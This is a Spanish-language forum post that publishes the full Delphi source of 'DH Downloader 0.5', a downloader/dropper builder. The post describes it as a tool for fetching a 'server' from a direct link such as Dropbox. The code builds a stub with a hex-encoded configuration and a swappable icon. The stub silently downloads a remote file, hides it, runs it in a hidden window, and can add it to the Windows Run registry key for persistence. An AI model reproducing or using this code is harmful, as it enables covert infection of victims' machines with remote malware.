[Delphi] DH Downloader 0.5

[BigBear]

Un simple programa en Delphi para bajar archivos con las siguientes opciones :

• Se puede cambiar el nombre del archivo descargado
  
• Se puede guardar en la carpeta que quieran
  
• Se puede ocultar el archivo
  
• Hace que el archivo se inicie cada vez que carga Windows
  
• Se puede cargar oculto o normal
  
• Tambien hice un generador en el que esta pensado para poner un link de descarga directa como dropbox para bajar un server en el cual tambien se le puede cambiar el icono.
  
  Unas imagenes :
  
  
  
  
  
  
  
  El codigo.
  
  El form principal.
  
  

  Código: delphi

  
  // DH Downloader 0.5
  // (C) Doddy Hackman 2013
  
  unit dh;
  
  interface
  
  uses
    Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
    Dialogs, acPNG, ExtCtrls, sSkinManager, StdCtrls, sGroupBox, sButton;
  
  type
    TForm1 = class(TForm)
      sSkinManager1: TsSkinManager;
      Image1: TImage;
      sGroupBox1: TsGroupBox;
      sButton1: TsButton;
      sButton2: TsButton;
      sButton3: TsButton;
      sButton4: TsButton;
      procedure sButton3Click(Sender: TObject);
      procedure sButton4Click(Sender: TObject);
      procedure sButton1Click(Sender: TObject);
      procedure sButton2Click(Sender: TObject);
      procedure FormCreate(Sender: TObject);
    private
      { Private declarations }
    public
      { Public declarations }
    end;
  
  var
    Form1: TForm1;
  
  implementation
  
  uses about, usbmode, generate;
  {$R *.dfm}
  
  procedure TForm1.FormCreate(Sender: TObject);
  begin
  
    sSkinManager1.SkinDirectory := ExtractFilePath(Application.ExeName) + 'Data';
    sSkinManager1.SkinName := 'neonnight';
    sSkinManager1.Active := True;
  
  end;
  
  procedure TForm1.sButton1Click(Sender: TObject);
  begin
    Form3.Show;
  end;
  
  procedure TForm1.sButton2Click(Sender: TObject);
  begin
    Form4.Show;
  end;
  
  procedure TForm1.sButton3Click(Sender: TObject);
  begin
    Form2.Show;
  end;
  
  procedure TForm1.sButton4Click(Sender: TObject);
  begin
    Form1.Close;
  end;
  
  end.
  
  // The End ?
  

  
  
  El USB Mode.
  
  

  Código: delphi

  
  // DH Downloader 0.5
  // (C) Doddy Hackman 2013
  
  unit usbmode;
  
  interface
  
  uses
    Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
    Dialogs, acPNG, ExtCtrls, ComCtrls, sStatusBar, StdCtrls, sGroupBox, sEdit,
    sLabel, sCheckBox, sRadioButton, sButton, acProgressBar, IdBaseComponent,
    IdComponent, IdTCPConnection, IdTCPClient, IdHTTP, Registry, ShellApi;
  
  type
    TForm3 = class(TForm)
      Image1: TImage;
      sStatusBar1: TsStatusBar;
      sGroupBox1: TsGroupBox;
      sGroupBox2: TsGroupBox;
      sEdit1: TsEdit;
      sGroupBox3: TsGroupBox;
      sCheckBox1: TsCheckBox;
      sEdit2: TsEdit;
      sCheckBox2: TsCheckBox;
      sEdit3: TsEdit;
      sCheckBox3: TsCheckBox;
      sCheckBox4: TsCheckBox;
      sCheckBox5: TsCheckBox;
      sRadioButton1: TsRadioButton;
      sRadioButton2: TsRadioButton;
      sGroupBox4: TsGroupBox;
      sButton1: TsButton;
      sProgressBar1: TsProgressBar;
      IdHTTP1: TIdHTTP;
      procedure sButton1Click(Sender: TObject);
      procedure IdHTTP1Work(ASender: TObject; AWorkMode: TWorkMode;
        AWorkCount: Int64);
      procedure IdHTTP1WorkBegin(ASender: TObject; AWorkMode: TWorkMode;
        AWorkCountMax: Int64);
      procedure IdHTTP1WorkEnd(ASender: TObject; AWorkMode: TWorkMode);
      procedure FormCreate(Sender: TObject);
    private
      { Private declarations }
    public
      { Public declarations }
    end;
  
  var
    Form3: TForm3;
  
  implementation
  
  uses about, dh;
  {$R *.dfm}
  // Functions
  
  function getfilename(archivo: string): string;
  var
    test: TStrings;
  begin
  
    test := TStringList.Create;
    test.Delimiter := '/';
    test.DelimitedText := archivo;
    Result := test[test.Count - 1];
  
    test.Free;
  
  end;
  
  //
  
  procedure TForm3.FormCreate(Sender: TObject);
  begin
    sProgressBar1.Position := 0;
  end;
  
  procedure TForm3.IdHTTP1Work(ASender: TObject; AWorkMode: TWorkMode;
    AWorkCount: Int64);
  begin
    sProgressBar1.Position := AWorkCount;
    sStatusBar1.Panels[0].Text := '[+] Downloading ...';
    sStatusBar1.Update;
  end;
  
  procedure TForm3.IdHTTP1WorkBegin(ASender: TObject; AWorkMode: TWorkMode;
    AWorkCountMax: Int64);
  begin
    sProgressBar1.Max := AWorkCountMax;
    sStatusBar1.Panels[0].Text := '[+] Starting download ...';
    sStatusBar1.Update;
  end;
  
  procedure TForm3.IdHTTP1WorkEnd(ASender: TObject; AWorkMode: TWorkMode);
  begin
    sProgressBar1.Position := 0;
  end;
  
  procedure TForm3.sButton1Click(Sender: TObject);
  var
    filename: string;
    nombrefinal: string;
    addnow: TRegistry;
    archivobajado: TFileStream;
  
  begin
  
    if not sCheckBox1.Checked then
    begin
      filename := sEdit1.Text;
      nombrefinal := getfilename(filename);
    end
    else
    begin
      nombrefinal := sEdit2.Text;
    end;
  
    archivobajado := TFileStream.Create(nombrefinal, fmCreate);
  
    try
      begin
        DeleteFile(nombrefinal);
        IdHTTP1.Get(sEdit1.Text, archivobajado);
        sStatusBar1.Panels[0].Text := '[+] File Dowloaded';
        sStatusBar1.Update;
        archivobajado.Free;
      end;
    except
      sStatusBar1.Panels[0].Text := '[-] Failed download';
      sStatusBar1.Update;
      archivobajado.Free;
      Abort;
    end;
  
    if FileExists(nombrefinal) then
    begin
  
      if sCheckBox2.Checked then
      begin
        if not DirectoryExists(sEdit3.Text) then
        begin
          CreateDir(sEdit3.Text);
        end;
        MoveFile(Pchar(nombrefinal), Pchar(sEdit3.Text + '/' + nombrefinal));
        sStatusBar1.Panels[0].Text := '[+] File Moved';
        sStatusBar1.Update;
      end;
  
      if sCheckBox3.Checked then
      begin
        SetFileAttributes(Pchar(sEdit3.Text), FILE_ATTRIBUTE_HIDDEN);
        if sCheckBox2.Checked then
        begin
          SetFileAttributes(Pchar(sEdit3.Text + '/' + nombrefinal),
            FILE_ATTRIBUTE_HIDDEN);
  
          sStatusBar1.Panels[0].Text := '[+] File Hidden';
          sStatusBar1.Update;
        end
        else
        begin
          SetFileAttributes(Pchar(nombrefinal), FILE_ATTRIBUTE_HIDDEN);
          sStatusBar1.Panels[0].Text := '[+] File Hidden';
          sStatusBar1.Update;
        end;
      end;
  
      if sCheckBox4.Checked then
      begin
  
        addnow := TRegistry.Create;
        addnow.RootKey := HKEY_LOCAL_MACHINE;
        addnow.OpenKey('Software\Microsoft\Windows\CurrentVersion\Run', FALSE);
  
        if sCheckBox2.Checked then
        begin
          addnow.WriteString('uber', sEdit3.Text + '/' + nombrefinal);
        end
        else
        begin
          addnow.WriteString('uber', ExtractFilePath(Application.ExeName)
              + '/' + nombrefinal);
        end;
  
        sStatusBar1.Panels[0].Text := '[+] Registry Updated';
        sStatusBar1.Update;
  
        addnow.Free;
  
      end;
  
      if sCheckBox5.Checked then
      begin
  
        if sRadioButton1.Checked then
        begin
          if sCheckBox2.Checked then
          begin
            ShellExecute(Handle, 'open', Pchar(sEdit3.Text + '/' + nombrefinal),
              nil, nil, SW_SHOWNORMAL);
          end
          else
          begin
            ShellExecute(Handle, 'open', Pchar(nombrefinal), nil, nil,
              SW_SHOWNORMAL);
          end;
        end
        else
        begin
          if sCheckBox2.Checked then
          begin
            ShellExecute(Handle, 'open', Pchar(sEdit3.Text + '/' + nombrefinal),
              nil, nil, SW_HIDE);
          end
          else
          begin
            ShellExecute(Handle, 'open', Pchar(nombrefinal), nil, nil, SW_HIDE);
          end;
        end;
  
      end;
  
      if sCheckBox1.Checked or sCheckBox2.Checked or sCheckBox3.Checked or
        sCheckBox4.Checked or sCheckBox5.Checked then
      begin
        sStatusBar1.Panels[0].Text := '[+] Finished';
        sStatusBar1.Update;
      end;
  
    end;
  
  end;
  
  end.
  
  // The End ?
  

  
  
  El generador.
  
  

  Código: delphi

  
  // DH Downloader 0.5
  // (C) Doddy Hackman 2013
  
  unit generate;
  
  interface
  
  uses
    Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
    Dialogs, acPNG, ExtCtrls, StdCtrls, sGroupBox, sEdit, ComCtrls, sStatusBar,
    sButton, sCheckBox, sComboBox, sRadioButton, madRes, sPageControl;
  
  type
    TForm4 = class(TForm)
      Image1: TImage;
      sStatusBar1: TsStatusBar;
  
      OpenDialog1: TOpenDialog;
      sPageControl1: TsPageControl;
      sTabSheet1: TsTabSheet;
      sTabSheet2: TsTabSheet;
      sTabSheet3: TsTabSheet;
      sGroupBox1: TsGroupBox;
      sGroupBox2: TsGroupBox;
      sEdit1: TsEdit;
      sGroupBox3: TsGroupBox;
      sEdit2: TsEdit;
      sGroupBox4: TsGroupBox;
      sRadioButton1: TsRadioButton;
      sRadioButton2: TsRadioButton;
      sGroupBox5: TsGroupBox;
      sGroupBox6: TsGroupBox;
      sGroupBox7: TsGroupBox;
      Image2: TImage;
      sButton1: TsButton;
      sGroupBox8: TsGroupBox;
      sComboBox1: TsComboBox;
      sGroupBox9: TsGroupBox;
      sCheckBox1: TsCheckBox;
      sEdit3: TsEdit;
      sGroupBox10: TsGroupBox;
      sButton2: TsButton;
      procedure sButton1Click(Sender: TObject);
      procedure sEdit2Click(Sender: TObject);
      procedure sButton2Click(Sender: TObject);
  
      procedure FormCreate(Sender: TObject);
  
    private
      { Private declarations }
    public
      { Public declarations }
    end;
  
  var
    Form4: TForm4;
  
  implementation
  
  {$R *.dfm}
  // Functions
  
  function dhencode(texto, opcion: string): string;
  // Thanks to Taqyon
  // Based on http://www.vbforums.com/showthread.php?346504-DELPHI-Convert-String-To-Hex
  var
    num: integer;
    aca: string;
    cantidad: integer;
  
  begin
  
    num := 0;
    Result := '';
    aca := '';
    cantidad := 0;
  
    if (opcion = 'encode') then
    begin
      cantidad := length(texto);
      for num := 1 to cantidad do
      begin
        aca := IntToHex(ord(texto[num]), 2);
        Result := Result + aca;
      end;
    end;
  
    if (opcion = 'decode') then
    begin
      cantidad := length(texto);
      for num := 1 to cantidad div 2 do
      begin
        aca := Char(StrToInt('$' + Copy(texto, (num - 1) * 2 + 1, 2)));
        Result := Result + aca;
      end;
    end;
  
  end;
  
  function getfilename(archivo: string): string;
  var
    test: TStrings;
  begin
  
    test := TStringList.Create;
    test.Delimiter := '/';
    test.DelimitedText := archivo;
    Result := test[test.Count - 1];
  
    test.Free;
  
  end;
  
  //
  
  procedure TForm4.FormCreate(Sender: TObject);
  begin
  
    OpenDialog1.InitialDir := GetCurrentDir;
    OpenDialog1.Filter := 'ICO|*.ico|';
  
  end;
  
  procedure TForm4.sButton2Click(Sender: TObject);
  var
    linea: string;
    aca: THandle;
    code: Array [0 .. 9999 + 1] of Char;
    nose: DWORD;
    marca_uno: string;
    marca_dos: string;
    url: string;
    opcionocultar: string;
    savein: string;
    lineafinal: string;
    stubgenerado: string;
    tipodecarga: string;
    change: DWORD;
    valor: string;
  
  begin
  
    url := sEdit1.Text;
    stubgenerado := 'tiny_down.exe';
  
    if (sRadioButton2.Checked = True) then
    begin
      tipodecarga := '1';
    end
    else
    begin
      tipodecarga := '0';
    end;
  
    if (sCheckBox1.Checked = True) then
    begin
      opcionocultar := '1';
    end
    else
    begin
      opcionocultar := '0';
    end;
  
    if (sComboBox1.Items[sComboBox1.ItemIndex] = '') then
    begin
      savein := 'USERPROFILE';
    end
    else
    begin
      savein := sComboBox1.Items[sComboBox1.ItemIndex];
    end;
  
    lineafinal := '[link]' + url + '[link]' + '[opcion]' + opcionocultar +
      '[opcion]' + '[path]' + savein + '[path]' + '[name]' + sEdit2.Text +
      '[name]' + '[carga]' + tipodecarga + '[carga]';
  
    marca_uno := '[63686175]' + dhencode(lineafinal, 'encode') + '[63686175]';
  
    aca := INVALID_HANDLE_VALUE;
    nose := 0;
  
    DeleteFile(stubgenerado);
    CopyFile(PChar(ExtractFilePath(Application.ExeName)
          + '/' + 'Data/stub_down.exe'), PChar
        (ExtractFilePath(Application.ExeName) + '/' + stubgenerado), True);
  
    linea := marca_uno;
    StrCopy(code, PChar(linea));
    aca := CreateFile(PChar(stubgenerado), GENERIC_WRITE, FILE_SHARE_READ, nil,
      OPEN_EXISTING, 0, 0);
    if (aca <> INVALID_HANDLE_VALUE) then
    begin
      SetFilePointer(aca, 0, nil, FILE_END);
      WriteFile(aca, code, 9999, nose, nil);
      CloseHandle(aca);
    end;
  
    //
  
    if not(sEdit3.Text = '') then
    begin
      try
        begin
  
          valor := IntToStr(128);
  
          change := BeginUpdateResourceW
            (PWideChar(wideString(ExtractFilePath(Application.ExeName)
                  + '/' + stubgenerado)), False);
          LoadIconGroupResourceW(change, PWideChar(wideString(valor)), 0,
            PWideChar(wideString(sEdit3.Text)));
          EndUpdateResourceW(change, False);
          sStatusBar1.Panels[0].Text := '[+] Done ';
          sStatusBar1.Update;
        end;
      except
        begin
          sStatusBar1.Panels[0].Text := '[-] Error';
          sStatusBar1.Update;
        end;
      end;
    end
    else
    begin
      sStatusBar1.Panels[0].Text := '[+] Done ';
      sStatusBar1.Update;
    end;
  
    //
  
  end;
  
  procedure TForm4.sButton1Click(Sender: TObject);
  begin
  
    if OpenDialog1.Execute then
    begin
      Image2.Picture.LoadFromFile(OpenDialog1.FileName);
      sEdit3.Text := OpenDialog1.FileName;
    end;
  
  end;
  
  procedure TForm4.sEdit2Click(Sender: TObject);
  begin
    if not(sEdit1.Text = '') then
    begin
      sEdit2.Text := getfilename(sEdit1.Text);
    end;
  end;
  
  end.
  
  // The End ?
  

  
  
  El stub
  
  

  Código: delphi

  
  // DH Downloader 0.5
  // (C) Doddy Hackman 2013
  
  // Stub
  
  program stub_down;
  
  // {$APPTYPE CONSOLE}
  
  uses
    SysUtils, Windows, URLMon, ShellApi;
  
  
  // Functions
  
  function regex(text: String; deaca: String; hastaaca: String): String;
  begin
    Delete(text, 1, AnsiPos(deaca, text) + Length(deaca) - 1);
    SetLength(text, AnsiPos(hastaaca, text) - 1);
    Result := text;
  end;
  
  function dhencode(texto, opcion: string): string;
  // Thanks to Taqyon
  // Based on http://www.vbforums.com/showthread.php?346504-DELPHI-Convert-String-To-Hex
  var
    num: integer;
    aca: string;
    cantidad: integer;
  
  begin
  
    num := 0;
    Result := '';
    aca := '';
    cantidad := 0;
  
    if (opcion = 'encode') then
    begin
      cantidad := Length(texto);
      for num := 1 to cantidad do
      begin
        aca := IntToHex(ord(texto[num]), 2);
        Result := Result + aca;
      end;
    end;
  
    if (opcion = 'decode') then
    begin
      cantidad := Length(texto);
      for num := 1 to cantidad div 2 do
      begin
        aca := Char(StrToInt('$' + Copy(texto, (num - 1) * 2 + 1, 2)));
        Result := Result + aca;
      end;
    end;
  
  end;
  
  //
  
  var
    ob: THandle;
    code: Array [0 .. 9999 + 1] of Char;
    nose: DWORD;
    link: string;
    todo: string;
    opcion: string;
    path: string;
    nombre: string;
    rutafinal: string;
    tipodecarga: string;
  
  begin
  
    try
  
      ob := INVALID_HANDLE_VALUE;
      code := '';
  
      ob := CreateFile(pchar(paramstr(0)), GENERIC_READ, FILE_SHARE_READ, nil,
        OPEN_EXISTING, 0, 0);
      if (ob <> INVALID_HANDLE_VALUE) then
      begin
        SetFilePointer(ob, -9999, nil, FILE_END);
        ReadFile(ob, code, 9999, nose, nil);
        CloseHandle(ob);
      end;
  
      todo := regex(code, '[63686175]', '[63686175]');
      todo := dhencode(todo, 'decode');
  
      link := regex(todo, '[link]', '[link]');
      opcion := regex(todo, '[opcion]', '[opcion]');
      path := regex(todo, '[path]', '[path]');
      nombre := regex(todo, '[name]', '[name]');
      tipodecarga := regex(todo, '[carga]', '[carga]');
  
      rutafinal := GetEnvironmentVariable(path) + '/' + nombre;
  
      try
  
        begin
          UrlDownloadToFile(nil, pchar(link), pchar(rutafinal), 0, nil);
  
          if (FileExists(rutafinal)) then
          begin
  
            if (opcion = '1') then
            begin
              SetFileAttributes(pchar(rutafinal), FILE_ATTRIBUTE_HIDDEN);
            end;
  
            if (tipodecarga = '1') then
            begin
              ShellExecute(0, 'open', pchar(rutafinal), nil, nil, SW_HIDE);
            end
            else
            begin
              ShellExecute(0, 'open', pchar(rutafinal), nil, nil, SW_SHOWNORMAL);
            end;
          end;
  
        end;
      except
        //
      end;
  
    except
      //
    end;
  
  end.
  
  // The End ?
  

  
  
  Si lo quieren bajar lo pueden hacer de No tienes permitido ver los links. Registrarse o Entrar a mi cuenta.